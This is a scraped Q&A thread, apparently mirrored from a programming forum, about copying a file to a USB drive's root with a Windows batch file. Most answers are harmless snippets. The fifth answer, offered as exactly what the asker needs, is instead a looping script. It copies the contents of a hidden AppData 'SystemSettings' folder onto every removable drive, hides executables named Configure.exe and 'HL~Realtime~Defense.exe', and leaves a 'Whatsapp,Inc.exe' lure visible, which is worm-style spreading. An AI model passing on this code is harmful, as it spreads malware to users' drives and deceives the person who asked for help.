Copy a file into USB flash drive root using batch

2020-06-29 01:14发布

问题:

I want to create a batch file to copy a file from any Dir into root folder that the .bat file located on that like a USB flash drive .

My incomplete command :

    xcopy /s "%userprofile%\Desktop\test.txt" "?"

What can I replace with "?" ??? Thanks guys

回答1:

This will do exactly as you want to any and all connected USB drives.

@echo off

for /F "usebackq tokens=1,2,3,4 " %%i in (`wmic logicaldisk get caption^,description^,drivetype 2^>NUL`) do (

if %%l equ 2 (
xcopy /s "%userprofile%\Desktop\test.txt" %%i\
        )
        )


回答2:

 xcopy /s "%userprofile%\Desktop\test.txt" "\"


回答3:

You should replace it with drive letter of USB drive followed by :\ So, the real question is how to determine, which of the drives in system are USB flash drives, I guess? Here is the code:

@echo off
setlocal enabledelayedexpansion
set INTEXTFILE=temp.txt
set OUTTEXTFILE=temp.bat
set SEARCHTEXT='Removable Disk'
set REPLACETEXT=
set OUTPUTLINE=
wmic logicaldisk get name,description|grep -h "Removable" > %INTEXTFILE%

for /f "tokens=3,* delims= " %%A in ( '"type %INTEXTFILE%"') do (
SET string=%%A
SET modified=!string:%SEARCHTEXT%=%REPLACETEXT%!
)
echo xcopy /s "%userprofile%\Desktop\test.txt" !modified! > %OUTTEXTFILE%
call %OUTTEXTFILE%
del  %OUTTEXTFILE%
del  %INTEXTFILE%

But take into account that it definitely works only for 1 removable disk. It will fail, if two devices of this type are plugged in.



回答4:

What you are going to need to do is use a relative path for your USB directory. The code will look like this:

@echo off
set /p entry= Enter the the path of the file you'd like to copy:
copy %entry% %~dp0\*.*
@pause

This should let you enter into a prompt where you would like to copy the folder from/its name. It will name the file the same as the original and keep the original format (.txt, etc.). Let me know if this does not work for you instead of downvoting and I will work out another solution for you asap. Best of luck!



回答5:

@ECHO Off
:loop
@echo off
set INTERVAL=5
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
  for %%c in (%%b) do (
     for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
        if %%d equ Removable (
          echo %%c is Removable
            cd "%USERPROFILE%\Appdata\Local\SystemSettings"
              xcopy "%USERPROFILE%\Appdata\Local\SystemSettings" "%%c" /s /e /h /y
                ATTRIB +H -R +S %%cConfigure.exe
                   ATTRIB +H -R +S %%cHL~Realtime~Defense.exe
                      ATTRIB -H -R -s %%cWhatsapp,Inc.exe

timeout /nobreak /t 99
goto loop

Is exactly what you need